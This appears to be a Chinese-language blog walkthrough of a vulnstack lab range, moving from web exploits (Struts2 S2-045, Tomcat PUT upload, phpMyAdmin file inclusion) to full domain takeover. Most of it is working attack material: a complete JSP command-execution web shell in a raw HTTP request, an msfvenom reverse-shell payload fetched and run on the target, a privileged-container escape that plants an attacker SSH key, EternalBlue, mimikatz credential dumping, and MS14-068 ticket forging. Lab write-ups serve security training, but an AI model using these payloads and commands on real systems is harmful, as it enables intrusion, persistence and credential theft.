• 环境配置


    项目地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/


    在 ubuntu 中启动 docker
    cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
    sudo docker-compose up -d
    cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
    sudo docker-compose up -d
    cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
    sudo docker-compose up -d
    
  • 外网部分


    • s2-045 存在文件上传

      天融信那个没有,k8的没反应,于是手动发包。
    • tomcat CVE-2017-12617

      可以直接用 PUT 方法写入文件,msf 有脚本一键打(不过这个 shell 很难受)
      image-20220202080756883
      于是手动发包传一个 jsp 上去
      PUT /shell.jsp/ HTTP/1.1
      Host: 192.168.157.132:2002
      User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate
      Cookie: phpMyAdmin=33ae53ca410bc8c12a08b825b08a3b7f; pma_lang=zh_CN
      DNT: 1
      Connection: close
      Upgrade-Insecure-Requests: 1
      Cache-Control: max-age=0
      Content-Length: 750
      
      <%@ page import="java.util.*,java.io.*,java.net.*"%>
       <%
       %>
       <HTML><BODY>
       <FORM METHOD="POST" NAME="myform" ACTION="">
       <INPUT TYPE="text" NAME="cmd">
       <INPUT TYPE="submit" VALUE="Send">
       </FORM>
       <pre>
       <%
       if (request.getParameter("cmd") != null) {
               out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
               Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
               OutputStream os = p.getOutputStream();
               InputStream in = p.getInputStream();
               DataInputStream dis = new DataInputStream(in);
               String disr = dis.readLine();
               while ( disr != null ) {
                       out.println(disr); disr = dis.readLine(); }
               }
       %>
       </pre>
       </BODY></HTML>
      
    • phpMyAdmin文件包含

      image-20220201225203044
      包含 sql 执行操作时生成 cookie 对应的 session 文件,即可达成任意文件写
      image-20220201230517040
       
  • 拿下 web 服务器


    弹一个到 msf 的马
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.131 LPORT=6666 -f elf > shell_6666.elf
    

    python 起一个 http 服务器远程把马 down 下来后执行。(别忘了加执行权限)
    两种思路:一个是用 CVE-2019-5736 直接打(复现失败了),另一个是用 –privileged 特权模式逃逸,这里说一下第二种。
    判断是否在 docker 中
    ls /.dockerenv 
    回显:/.dockerenv
    

    判断是否是特权模式
    cat /proc/self/status | grep CapEff
    CapEff对应的掩码值应该为0000003fffffffff
    

    查看磁盘文件并挂载
    fdisk -l
    mkdir /test
    mount /dev/sda1 /test
    

    本地生成私钥
    ssh-keygen -f hack
    chmod 600 hack
    

    创建 key.sh 并上传
    cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
    echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHHyGclk2ax0r++36xUO8eHqMFEhAmCILoIJqO3R61Aua7f45BJMMKFNYZGKusPfldVXk2pf+XUU46VwQzxi5Kj2F0PTFMQZyOWoFPP0uXETb5LjrM2CBqz65hfSjeMLq4RblcawjadmjHQVFwXnxqpQ+PxLUOFhT45GTbGKqZFOFlS1FRDswxFr8NO8UXcT9+k1XD5ZrowfNr/FlC8NkgXA1h0a2KiD1N5PMvoF0Jb+B/z0kDGzjoNUAtsj+d31AyNius+xyoRsgPn8KQo3oVMAv/deshrxMWF18HzercJtY4PnzLvIjj9F77+em/tFDx/tMcCOJ8EgDm1eolghNmLEHhwyTfguSMLts69FpE8b85UVc07ontWRDGu12MeIsJI9t7CmMIDc2kLwmYcZSE9eXUgfmxkewNbEjTjvI2iiARDmSnCY2LD4LMiZewQtgF5g5QJF9CcfdThY1VY0jPPDtIYF5VxsZ/Ndm4m9o/EzwxXh0WYs/2+RacYgPH7K0= root@kali' > /test/home/ubuntu/.ssh/authorized_keys
    cat /test/home/ubuntu/.ssh/authorized_keys
    

    最后直接用 ssh 链接就可以了
    ssh -i hack ubuntu@192.168.157.132
    

    image-20220202130201145
    然后就可以为所欲为了
  • 横向移动


    先在 msf 中上线,添加 ew 代理
    image-20220202130800401
    msf 中设置路由转发,并执行存活扫描
    run autoroute -s 192.168.183.0/24
    run autoroute -p
    或 set proxies socks5:192.168.157.132:1080
    存活主机:
    use auxiliary/scanner/portscan/tcp
    set rhosts 192.168.183.0-255
    set threads 10
    run
    

    永恒之蓝一发入魂
    use exploit/windows/smb/ms17_010_eternalblue
    set payload windows/x64/meterpreter/bind_tcp
    set rhost 192.168.183.129
    set lport 4444
    set AutoRunScript post/windows/manage/migrate             // 自动迁移进程
    run
    

    image-20220202141340865
    开始攻击域控,这里直接拿到了 system,net user /domain 权限受限,选择切换到域用户中。
    ps   找域用户的进程
    steal_token 1560
    

    image-20220202142831550
    先用 mimikatz 抓一下密码 (其实这里直接翻 ubuntu 的历史命令信息就能拿到密码)
    rev2self     回到 system 权限
    load kiwi
    kiwi_cmd sekurlsa::logonpasswords
    

    image-20220202144646321
    ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
    

    然后用 mimikatz 传递票据
    kerberos::purge      清除票据
    kerberos::ptc TGT_douser@demo.com.ccache
    

    然后查看一下域控的 c 盘,成功
    dir \\WIN-ENS2VR5TR3N\c$
    

     

 

标签: none

添加新评论